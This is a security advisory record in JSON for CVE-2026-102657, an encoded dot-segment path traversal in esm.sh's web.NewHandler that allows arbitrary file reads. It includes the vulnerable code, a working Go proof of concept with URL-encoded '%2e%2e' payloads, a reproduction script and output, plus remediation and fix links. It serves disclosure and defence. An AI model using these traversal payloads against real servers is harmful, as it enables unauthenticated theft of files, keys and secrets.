{"id":"CVE-2026-102657","aliases":["GHSA-g3c2-rjq2-c763"],"url":"https://o3.security/vulnerability/CVE-2026-102657","summary":"esm.sh: web.NewHandler allows arbitrary file read via encoded dot-segment path traversal","details":"### Summary\n\nThe documented `web.NewHandler` static file server can read files outside `Config.AppDir` when the request path contains URL-encoded dot-segments such as `%2e%2e`. Go's `ServeMux` redirects plain `/../` paths, but it passes encoded dot-segments to the handler after decoding `r.URL.Path`. The handler then calls `filepath.Join(s.config.AppDir, r.URL.Path)` without checking that the result remains under `AppDir`, allowing unauthenticated arbitrary file reads with the server process privileges.\n\n### Details\n\n`web/README.md:34-40` documents a network-facing setup:\n\n```go\nhttp.Handle(\"GET /\", web.NewHandler(web.Config{\n  AppDir: \"/path/to/webapp\",\n  Fallback: \"/index.html\",\n  Dev: false,\n}))\nlog.Fatal(http.ListenAndServe(\":8080\", nil))\n```\n\nIn `web/handler.go:62-75`, the handler takes `r.URL.Path` and joins it directly with `s.config.AppDir`:\n\n```go\npathname := r.URL.Path\nfilename := filepath.Join(s.config.AppDir, pathname)\nfi, err := os.Lstat(filename)\n```\n\nLater the same resolved filename is opened and copied to the response in `web/handler.go:150-166` for non-HTML/static files. There is no `filepath.IsLocal`, cleaned-relative-path, absolute-root prefix, or symlink-aware containment check before opening the file.\n\nA plain `/../secret.txt` path is redirected by Go's `ServeMux`, but an encoded path such as `/%2e%2e/secret.txt` is decoded into `r.URL.Path == \"/../secret.txt\"` and reaches the handler. On Linux, `filepath.Join(\"/tmp/root/app\", \"/../secret.txt\")` resolves to `/tmp/root/secret.txt`, outside the configured app directory.\n\nSource-to-sink chain:\n\n```text\nUnauthenticated HTTP request path containing URL-encoded dot-segments\n-> net/http decodes path into r.URL.Path\n-> documented ServeMux setup passes encoded dot-segment path to web.NewHandler\n-> web/handler.go joins Config.AppDir with r.URL.Path\n-> os.Lstat/os.Open operate on the escaped path\n-> io.Copy returns file contents to the attacker\n```\n\nFalse-positive checks performed:\n- Plain dot-segment paths are redirected by `http.ServeMux`, but encoded dot-segments are not blocked and reach the handler.\n- The PoC uses the documented `http.Handle(\"GET /\", web.NewHandler(...))` setup, not a custom bypass of ServeMux.\n- A control request for `/secret.txt` does not read the outside file; the disclosure requires encoded traversal segments.\n- The issue is independent of `Dev`/HMR; it reproduces with `Dev: false`.\n- The root cause appears in other handler paths that join app paths, but the static file read path is sufficient to prove arbitrary file disclosure.\n\nCandidate score: 18/18 under the local audit scoring rubric. The handler is documented for network-facing use, the attacker directly controls the request path, the path reaches `os.Open`, file disclosure was reproduced locally, and no root containment mitigation is present.\n\n### PoC\n\nThis safe local proof creates an application directory and a sibling secret file outside it, registers the handler exactly as documented, and requests the sibling file through encoded `..` path segments.\n\n```go\npackage main\n\nimport (\n    \"fmt\"\n    \"net/http\"\n    \"net/http/httptest\"\n    \"os\"\n    \"strings\"\n\n    \"github.com/esm-dev/esm.sh/web\"\n)\n\nfunc main() {\n    mux := http.NewServeMux()\n    mux.Handle(\"GET /\", web.NewHandler(web.Config{AppDir: os.Args[1], Dev: false}))\n    for _, target := range []string{\n        \"http://example/%2e%2e/%2e%2e/%2e%2e/secret.txt\",\n        \"http://example/secret.txt\",\n    } {\n        rr := httptest.NewRecorder()\n        req := httptest.NewRequest(\"GET\", target, nil)\n        mux.ServeHTTP(rr, req)\n        fmt.Printf(\"%s => status=%d location=%q contains_secret=%v body=%q\\n\",\n            target,\n            rr.Code,\n            rr.Header().Get(\"Location\"),\n            strings.Contains(rr.Body.String(), \"ancestor-secret-marker\"),\n            rr.Body.String(),\n        )\n    }\n}\n```\n\nMaintainer-runnable clean-checkout recipe:\n\n```sh\ntmp=$(mktemp -d)\nmkdir -p \"$tmp/root/a/b/app\"\nprintf 'ancestor-secret-marker' > \"$tmp/root/secret.txt\"\nprintf '<h1>inside</h1>' > \"$tmp/root/a/b/app/index.html\"\ncat > \"$tmp/poc.go\" <<'EOF'\n[place the PoC above here]\nEOF\ngo run \"$tmp/poc.go\" \"$tmp/root/a/b/app\"\nrm -rf \"$tmp\"\n```\n\nObserved vulnerable output in this environment:\n\n```text\nhttp://example/%2e%2e/%2e%2e/%2e%2e/secret.txt => status=200 location=\"\" contains_secret=true body=\"ancestor-secret-marker\"\nhttp://example/secret.txt => status=200 location=\"\" contains_secret=false body=\"<h1>inside</h1>\"\n```\n\nFinal re-check after drafting reproduced the same output:\n\n```text\nhttp://example/%2e%2e/%2e%2e/%2e%2e/secret.txt => status=200 location=\"\" contains_secret=true body=\"ancestor-secret-marker\"\nhttp://example/secret.txt => status=200 location=\"\" contains_secret=false body=\"<h1>inside</h1>\"\n```\n\nAdditional parser/control evidence observed locally:\n\n```text\nhttp://example/../secret.txt => status=307 loc=\"/secret.txt\"\nhandler Path=\"/../secret.txt\" RawPath=\"/%2e%2e/secret.txt\"\nhttp://example/%2e%2e/secret.txt => status=204 loc=\"\"\nhttp://example/a/../../secret.txt => status=307 loc=\"/secret.txt\"\n```\n\nThis confirms that the documented `ServeMux` setup redirects plain traversal paths but lets encoded dot-segments reach the handler.\n\n### Impact\n\nAn unauthenticated remote attacker can read files that are outside the configured web application directory but readable by the server process. Depending on deployment layout and process privileges, this can disclose source files, configuration files, environment-adjacent files, build artifacts, local credentials, private keys, or other application secrets located in ancestor or sibling directories.\n\nThe impact is limited to file disclosure in the confirmed path. No write primitive or code execution was confirmed in this audit.\n\n### Suggested remediation\n\nNormalize request paths into a cleaned relative path before joining them with `AppDir`, and reject any path that is not local. A robust pattern is:\n\n- reject paths containing NUL bytes,\n- use `path.Clean(\"/\" + r.URL.EscapedPath())` or an equivalent URL-path canonicalization step,\n- trim the leading slash and reject non-local paths with `filepath.IsLocal`,\n- join only the validated relative path to `AppDir`,\n- optionally compare absolute cleaned paths to ensure the result remains inside the absolute app root,\n- consider symlink policy explicitly if symlinks inside `AppDir` should not escape the app root.\n\nAdd regression tests for `/%2e%2e/secret.txt`, multi-level encoded traversal, plain `/../` behavior, and normal in-app file serving.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R&D)","published":"2026-11-06T20:49:28.708Z","modified":"2026-11-08T02:47:22.765966080Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Go","name":"github.com/esm-dev/esm.sh/web","fixedVersion":"0.2.0"}],"fix":{"url":"https://github.com/esm-dev/esm.sh/commit/468b6b2a4b4dfec334cf6b33b01fcd4e5cd93bed","label":"esm-dev/esm.sh@468b6b2"},"references":[{"type":"WEB","url":"https://github.com/esm-dev/esm.sh/releases/tag/v137_7"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/102xxx/CVE-2026-102657.json"},{"type":"ADVISORY","url":"https://github.com/esm-dev/esm.sh/security/advisories/GHSA-g3c2-rjq2-c763"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102657"},{"type":"FIX","url":"https://github.com/esm-dev/esm.sh/commit/468b6b2a4b4dfec334cf6b33b01fcd4e5cd93bed"},{"type":"FIX","url":"https://github.com/esm-dev/esm.sh/commit/fc3b345e73aeaa0b7a05b6f27d91c05fdf5f9b53"},{"type":"FIX","url":"https://github.com/esm-dev/esm.sh/pull/1376"},{"type":"PACKAGE","url":"https://github.com/esm-dev/esm.sh"},{"type":"WEB","url":"https://github.com/esm-dev/esm.sh/releases/tag/v0.2.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-11-08T02:47:22.765966080Z"}}